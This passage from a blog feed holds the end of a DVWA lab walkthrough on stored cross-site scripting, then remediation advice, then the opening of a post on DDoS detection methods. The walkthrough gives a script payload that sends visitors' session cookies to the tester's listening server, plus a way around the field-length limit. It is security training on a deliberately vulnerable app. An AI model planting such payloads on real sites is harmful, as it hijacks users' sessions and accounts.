srcset="https://substackcdn.com/image/fetch/$s_!hCq9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2f0a36-b6a3-405a-8460-d3bbc0b8f216_1600x896.png 424w, https://substackcdn.com/image/fetch/$s_!hCq9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2f0a36-b6a3-405a-8460-d3bbc0b8f216_1600x896.png 848w, https://substackcdn.com/image/fetch/$s_!hCq9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2f0a36-b6a3-405a-8460-d3bbc0b8f216_1600x896.png 1272w, https://substackcdn.com/image/fetch/$s_!hCq9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e2f0a36-b6a3-405a-8460-d3bbc0b8f216_1600x896.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Send the request from Repeater. Now navigate back to the guestbook page in your browser:</p><pre><code>http://10.10.10.20/dvwa/vulnerabilities/xss_s/</code></pre><p>The alert will fire automatically as soon as the page loads. You did not craft a special link or take any further action. The payload was stored in the database when you sent the request, and the server is now injecting it into the page for every visitor.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!19y0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0760dbe5-862b-4079-8446-ab8683b2d2ff_1600x1089.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!19y0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0760dbe5-862b-4079-8446-ab8683b2d2ff_1600x1089.png 424w, https://substackcdn.com/image/fetch/$s_!19y0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0760dbe5-862b-4079-8446-ab8683b2d2ff_1600x1089.png 848w, https://substackcdn.com/image/fetch/$s_!19y0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0760dbe5-862b-4079-8446-ab8683b2d2ff_1600x1089.png 1272w, https://substackcdn.com/image/fetch/$s_!19y0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0760dbe5-862b-4079-8446-ab8683b2d2ff_1600x1089.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!19y0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0760dbe5-862b-4079-8446-ab8683b2d2ff_1600x1089.png" width="1456" height="991" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0760dbe5-862b-4079-8446-ab8683b2d2ff_1600x1089.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:991,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!19y0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0760dbe5-862b-4079-8446-ab8683b2d2ff_1600x1089.png 424w, https://substackcdn.com/image/fetch/$s_!19y0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0760dbe5-862b-4079-8446-ab8683b2d2ff_1600x1089.png 848w, https://substackcdn.com/image/fetch/$s_!19y0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0760dbe5-862b-4079-8446-ab8683b2d2ff_1600x1089.png 1272w, https://substackcdn.com/image/fetch/$s_!19y0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0760dbe5-862b-4079-8446-ab8683b2d2ff_1600x1089.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This is what makes Stored XSS more dangerous than Reflected XSS. The victim does not need to click anything out of the ordinary. Simply visiting a page they already trust is enough to execute the payload.</p><p>To reset the environment before the next step, go to DVWA Setup and click &#8220;Create / Reset Database&#8221; to clear all stored entries.</p><div><hr></div><h4><strong>4.3 Cookie Exfiltration</strong></h4><p>Just as with Reflected XSS, an alert box proves the vulnerability but causes no real harm on its own. You will now escalate the payload to silently transmit the session cookie of every user who visits the guestbook page to your receiving server.</p><p>As covered in the previous section, the 50-character limit on the Message field is enforced by the browser only. For the exfiltration payload you have two bypass options. </p><p>You can right-click the Message input field in your browser, select Inspect, and edit the <code>maxlength</code> attribute directly to a higher number.</p><p>Alternatively, you can send the request directly through Burp Repeater, which bypasses the form entirely. Either approach works.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sbpK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00500614-74ee-48fd-944f-9bae8f9da0c8_1600x813.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sbpK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00500614-74ee-48fd-944f-9bae8f9da0c8_1600x813.png 424w, https://substackcdn.com/image/fetch/$s_!sbpK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00500614-74ee-48fd-944f-9bae8f9da0c8_1600x813.png 848w, https://substackcdn.com/image/fetch/$s_!sbpK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00500614-74ee-48fd-944f-9bae8f9da0c8_1600x813.png 1272w, https://substackcdn.com/image/fetch/$s_!sbpK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00500614-74ee-48fd-944f-9bae8f9da0c8_1600x813.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sbpK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00500614-74ee-48fd-944f-9bae8f9da0c8_1600x813.png" width="1456" height="740" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/00500614-74ee-48fd-944f-9bae8f9da0c8_1600x813.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:740,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:&quot;&quot;,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!sbpK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00500614-74ee-48fd-944f-9bae8f9da0c8_1600x813.png 424w, https://substackcdn.com/image/fetch/$s_!sbpK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00500614-74ee-48fd-944f-9bae8f9da0c8_1600x813.png 848w, https://substackcdn.com/image/fetch/$s_!sbpK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00500614-74ee-48fd-944f-9bae8f9da0c8_1600x813.png 1272w, https://substackcdn.com/image/fetch/$s_!sbpK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F00500614-74ee-48fd-944f-9bae8f9da0c8_1600x813.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Make sure your Python HTTP server is still running on your Kali machine. If it is not, start it again:</p><pre><code><code>python3 -m http.server 8000</code></code></pre><p>Submit the following payload through the guestbook form, using whichever bypass method you chose:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;a98af9da-a993-4506-a1b7-782b4b47c2d8&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">&lt;script&gt;fetch('http://10.10.10.10:8000?cookie='+document.cookie)&lt;/script&gt;</code></pre></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gyGz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbbb0a6b-dd95-47b3-841c-cfc26cde0a92_1446x454.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gyGz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbbb0a6b-dd95-47b3-841c-cfc26cde0a92_1446x454.png 424w, https://substackcdn.com/image/fetch/$s_!gyGz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbbb0a6b-dd95-47b3-841c-cfc26cde0a92_1446x454.png 848w, https://substackcdn.com/image/fetch/$s_!gyGz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbbb0a6b-dd95-47b3-841c-cfc26cde0a92_1446x454.png 1272w, https://substackcdn.com/image/fetch/$s_!gyGz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbbb0a6b-dd95-47b3-841c-cfc26cde0a92_1446x454.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gyGz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbbb0a6b-dd95-47b3-841c-cfc26cde0a92_1446x454.png" width="1446" height="454" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dbbb0a6b-dd95-47b3-841c-cfc26cde0a92_1446x454.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:454,&quot;width&quot;:1446,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gyGz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbbb0a6b-dd95-47b3-841c-cfc26cde0a92_1446x454.png 424w, https://substackcdn.com/image/fetch/$s_!gyGz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbbb0a6b-dd95-47b3-841c-cfc26cde0a92_1446x454.png 848w, https://substackcdn.com/image/fetch/$s_!gyGz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbbb0a6b-dd95-47b3-841c-cfc26cde0a92_1446x454.png 1272w, https://substackcdn.com/image/fetch/$s_!gyGz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdbbb0a6b-dd95-47b3-841c-cfc26cde0a92_1446x454.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now navigate to the guestbook page in your browser:</p><pre><code><code>http://10.10.10.20/dvwa/vulnerabilities/xss_s/</code></code></pre><p>The page will load silently with no visible indication that anything happened. On your Kali machine, your Python server will log an incoming GET request with the session cookie appended to it.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9gUL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c4245a7-654d-4191-90f3-188ed93af082_1588x500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9gUL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c4245a7-654d-4191-90f3-188ed93af082_1588x500.png 424w, https://substackcdn.com/image/fetch/$s_!9gUL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c4245a7-654d-4191-90f3-188ed93af082_1588x500.png 848w, https://substackcdn.com/image/fetch/$s_!9gUL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c4245a7-654d-4191-90f3-188ed93af082_1588x500.png 1272w, https://substackcdn.com/image/fetch/$s_!9gUL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c4245a7-654d-4191-90f3-188ed93af082_1588x500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9gUL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c4245a7-654d-4191-90f3-188ed93af082_1588x500.png" width="1456" height="458" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1c4245a7-654d-4191-90f3-188ed93af082_1588x500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:458,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!9gUL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c4245a7-654d-4191-90f3-188ed93af082_1588x500.png 424w, https://substackcdn.com/image/fetch/$s_!9gUL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c4245a7-654d-4191-90f3-188ed93af082_1588x500.png 848w, https://substackcdn.com/image/fetch/$s_!9gUL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c4245a7-654d-4191-90f3-188ed93af082_1588x500.png 1272w, https://substackcdn.com/image/fetch/$s_!9gUL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c4245a7-654d-4191-90f3-188ed93af082_1588x500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Unlike Reflected XSS, the attacker does not need to send anyone a link. The payload is already sitting in the database. </p><p>Every browser session that loads the guestbook page will automatically fire the request to your server, silently handing over that visitor&#8217;s session cookie. </p><p>A single injection harvests credentials from every user who visits the page, with no further action required from the attacker.</p><div><hr></div><h3>5. Remediation Recommendations:</h3><p>Both vulnerabilities share the same root cause: user-supplied input is inserted directly into the HTML page without being checked or transformed first. </p><p>The browser has no way of knowing whether a script tag came from the application or from an attacker, so it executes it either way. </p><p>The fixes below address this at different layers.</p><h4>Output Encoding</h4><p>This is the primary fix for both Reflected and Stored XSS. Before rendering any user-supplied input in a page, the application should convert characters that have special meaning in HTML into their safe equivalents. For example, <code>&lt;</code> becomes <code>&amp;lt;</code> and <code>&gt;</code> becomes <code>&amp;gt;</code>. When the browser encounters these encoded versions, it displays them as text rather than interpreting them as code. A script tag submitted by an attacker would appear on the page as the literal string <code>&lt;script&gt;</code> instead of executing.</p><h4>Input Validation</h4><p>The application should also validate input on the server side before accepting it. This means rejecting or stripping input that does not conform to what the field expects. A name field, for example, should only accept alphabetic characters. Input that contains angle brackets or script keywords should be rejected before it is ever stored or reflected. Validation alone is not sufficient as a fix for XSS, but it reduces the attack surface significantly.</p><h4>Content Security Policy</h4><p>A Content Security Policy (CSP) header instructs the browser on which scripts it is permitted to execute. A properly configured CSP can prevent injected scripts from running even if they make it into the page, by blocking inline script execution and restricting scripts to trusted sources only.</p><h4>HttpOnly Cookie Flag</h4><p>Session cookies should be configured with the <code>HttpOnly</code> flag. This prevents JavaScript from reading cookie values directly, which means that even if an XSS vulnerability exists and a script executes in the page, it cannot access the session cookie. This does not fix the underlying vulnerability, but it removes the most common and damaging thing an attacker would use XSS to do.</p><div><hr></div><h3>References</h3><ul><li><p>Rapid7. (n.d.). <em>Metasploitable 2 exploitability guide.</em> Rapid7 Documentation. https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/</p></li><li><p>Rathod, K. (n.d.). <em>XSS DVWA solution</em> [GitHub repository]. GitHub. https://github.com/kashrathod19/XSS-DVWA-SOLUTION</p></li></ul>]]></content:encoded></item><item><title><![CDATA[DDoS Attack Detection Techniques (Activity Profiling, Sequential Change-Point, Wavelet-Based)]]></title><description><![CDATA[When a network is under attack, it&#8217;s not always possible to immediately distinguish between legitimate traffic and malicious data packets.]]></description><link>https://darkmarc.substack.com/p/ddos-attack-detection-techniques</link><guid isPermaLink="false">https://darkmarc.substack.com/p/ddos-attack-detection-techniques</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Sat, 28 Feb 2026 00:41:18 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!IgG9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F984d2d4b-c6a9-49e7-b862-075d737e0c64_1456x720.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>When a network is under attack, it&#8217;s not always possible to immediately distinguish between legitimate traffic and malicious data packets.</strong> </p><p>Because of the high volume of traffic, it&#8217;s often impractical to inspect every packet individually, so detection methods focus on traffic patterns and statistics to identify anomalous behavior on a broader, aggregate level.</p><p>The tradeoff is that none of these methods are perfect. A legitimate traffic spike, like a news story suddenly sending millions of people to your website at once, can look a lot like an attack. Every detection method has to balance catching real attacks against falsely flagging normal traffic.</p><p>Network traffic analysis relies on three distinct methodologies, each designed to catch what the others might miss.</p><div><hr></div><h2><strong>#1 Activity Profiling</strong></h2><p>Your network has a personality. Over time, you can build a picture of what normal looks like: roughly how many packets arrive per second, where they tend to come from, what ports they use, and what protocols they use. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IgG9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F984d2d4b-c6a9-49e7-b862-075d737e0c64_1456x720.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IgG9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F984d2d4b-c6a9-49e7-b862-075d737e0c64_1456x720.png 424w, https://substackcdn.com/image/fetch/$s_!IgG9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F984d2d4b-c6a9-49e7-b862-075d737e0c64_1456x720.png 848w, https://substackcdn.com/image/fetch/$s_!IgG9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F984d2d4b-c6a9-49e7-b862-075d737e0c64_1456x720.png 1272w, 